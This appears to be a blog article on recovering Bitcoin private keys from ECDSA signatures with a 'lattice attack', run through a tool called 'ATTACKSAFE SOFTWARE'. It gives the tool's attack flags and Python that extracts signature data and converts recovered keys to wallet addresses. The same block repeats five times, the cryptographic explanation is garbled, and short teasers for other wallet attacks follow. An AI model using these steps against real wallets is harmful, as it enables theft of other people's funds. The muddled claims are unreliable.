Based on the previous article, where we took the polynomial 128 bitsand with the actual increase in the number of signatures, we will bring the value of the polynomial to 249 bits.
All we need is to solve the problem of hidden numbers.
In this article, we will analyze five independent examples of cryptanalysis of the Bitcoin blockchain. All examples will be uploaded to the GitHub repository .
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode
"ATTACKSAFE SOFTWARE" includes all popular attacks on Bitcoin.
Let’s run a list of all attacks:
!./attacksafe -list
Let’s choose -tool: lattice_attack
To get a specific HEXvalue R,S,Zfor the signature ECDSA, we previously added data RawTX through the utility echoto a text document and saved it as a file RawTX.txt
Launch -tool lattice_attack using software “ATTACKSAFE SOFTWARE”
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Install the modulebitcoin
!pip3 install bitcoin
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Launch -tool lattice_attack using software “ATTACKSAFE SOFTWARE”
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Launch -tool lattice_attack using software “ATTACKSAFE SOFTWARE”
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Launch -tool lattice_attack using software “ATTACKSAFE SOFTWARE”
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
with open("HEX.txt") as myfile:
listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)
f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()
Launch -tool lattice_attack using software “ATTACKSAFE SOFTWARE”
Thanks to the value on the secp256k1 curve from Hal Finney, LAMBDA and BETA revealed the same initial bits to us. The value POLYNONCEin the format HEXallows us to fully solve the problem of hidden numbers, get a private key and restore a Bitcoin Wallet.
Let’s check the HEX of the private key:
Let’s run the code:
from bitcoin import *
with open("PrivateKey.txt","r") as f:
content = f.readlines()
content = [x.strip() for x in content]
f.close()
outfile = open("PrivateKeyAddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()
In this article, we will show in detail on slides how to install "SageMath" on a Fedora 30 64bit (10GB) cloud virtual server. For example, we will use the "DIGITAL RUBLE TECH" server . Previously, we used the Google Colab cloud service to install "SageMath" , but unfortunately, due to the latest updates, not all components for cryptanalysis of the Bitcoin blockchain work properly. Registration: First we need…
In this article, we will again touch on the topic of a signature failure in a blockchain transaction and apply a completely new attack: “WhiteBox Attack on Bitcoin” .Differential fault analysis (DFA)was briefly described in the literature in 1996 when an Israeli cryptographer and cryptanalyst Eli Biham and an Israeli scientist Adi Shamir showed that they could use error injection to extract the secret key and recover the private…
Not so long ago, the elliptic (6.5.4) package for standard elliptic curves was vulnerable to various attacks , one of which is the Twist Attack . The cryptographic problem was in the implementation of secp256k1. We know that the Bitcoin cryptocurrency uses secp256k1 and this attack did not bypass Bitcoin, according to the CVE-2020-28498 vulnerability, the confirming parties of the ECDSA algorithm transaction through certain points on the secp256k1…